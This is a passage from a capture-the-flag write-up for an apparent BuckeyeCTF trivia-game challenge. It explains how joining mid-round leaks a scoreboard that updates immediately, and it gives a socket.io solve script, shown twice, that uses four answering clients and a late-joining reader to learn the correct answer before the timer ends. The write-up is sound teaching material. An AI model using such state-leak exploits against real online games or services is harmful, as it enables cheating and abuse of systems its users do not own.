∞!

Now that we have a solid understanding of the code, we can dive into the challenge solution.

The bug that allows us to get the answer before the timer ends is that when a player answers, their score is immediately updated in the scoreboard after the server recieves the answer message. Then we can get the players score by getting the game state to see if they were right or wrong.

You might be wondering how that helps us because the game state is only sent out after the answer is revealed, but there is actually another way of obtaining the game state. If we look at where the gameState() is called, we can see that it is called in 3 different places.

1. When a player joins
2. When the timer expires and the answer is revealed
3. When the new question is sent out.

And because players can join in the middle of the round, we now have a way of getting the game state!

const checkers = [io(), io(), io(), io()];
const lbChecker = io({ autoConnect: false });
const winner = io();

We first initalize all the connections we need. One checker for each answer. One connection to join in the middle of the round, and one connection to submit the correct answer

If you actually do this on the live servers, you'll have to wait a couple seconds for all of the connections to go through.

for (const i in checkers) {
  const checker = checkers[i];
  checker.on("gameState", (state) => {
    // The gameState that gives us the question will have
    // correctAnswer equal to undefined
    if (state.correctAnswer === undefined) {
      console.log("sending answer " + i)
      if (i == 0) {
        // If you are the one presssing the first answer,
        // reconnect the lbChecker after 500ms
        setTimeout(() => {
          console.log("reconnecting lb checker")
          lbChecker.connect();
        }, 500)
      }
      checker.emit("answer", i)
    }
  })
}

Next we'll get every one of the checkers to press one of the ansewrs. We'll have one of the checkers reconnect the lbChecker after 500ms which should give the checkers enough time to answer the question.

const getCorrectAnswer = (lb) => {
  for (const i in checkers) {
    if (lb[checkers[i].id] > 0) {
      return i
    }
  }
}

lbChecker.on("gameState", (state) => {
  if (state.correctAnswer === undefined) {
    console.log("winner has score of: " + state.scoreboard[winner.id])
    const correct = getCorrectAnswer(state.scoreboard)
    console.log("correct answer was " + correct)
    winner.emit("answer", correct)
    lbChecker.disconnect();
  }
})

winner.on("flag", (flag) => { console.log("FLAG!!!!! " + flag) }) 

Finally we can get the leaderboard checker going. getCorrectAnswer will check which checker got it correct, which will give us the index of the answer. Then have the winner emit the answer that we now know. Also we'll listen to flag on the winner bot.

Lets see this on a timeline:

That might be a lot to take in but I hope the diagram helps you understand the exploit a little better. If you don't understand one of the steps, hover over the step and a description should pop up.

Finally I'll provide the full solve script. It is arranged differently but it does the same thing.

const checkers = [io(), io(), io(), io()];
let lbChecker = io({ autoConnect: false });
lbChecker.on("gameState", (state) => {
  if (state.correctAnswer === undefined) {
    console.log("winner has score of: " + state.scoreboard[winner.id])
    const correct = getCorrectAnswer(state.scoreboard)
    console.log("correct answer was " + correct)
    winner.emit("answer", correct)
    lbChecker.disconnect();
  }
})
const winner = io();
for (const i in checkers) {
  const checker = checkers[i];
  checker.on("gameState", (state) => {
    if (state.correctAnswer === undefined) {
      console.log("sending answer " + i)
      if (i == 0) {
        // reconnect lbChecker
        setTimeout(() => {
          console.log("reconnecting lb checker")
          lbChecker.connect();
        }, 500)
      }
      checker.emit("answer", i)
    }
  })
}

const getCorrectAnswer = (lb) => {
  for (const i in checkers) {
    if (lb[checkers[i].id] > 0) {
      return i
    }
  }
}

winner.on("flag", (flag) => { console.log("FLAG!!!!! " + flag) })

Finally lets just go ahead and use this solve script. Running this script and waiting a while, we'll get the flag.

Thanks for reading through. I would like to thank the BuckeyeCTF organizers, this was an incredibly fun ctf to play and I look foward to playing it in future years.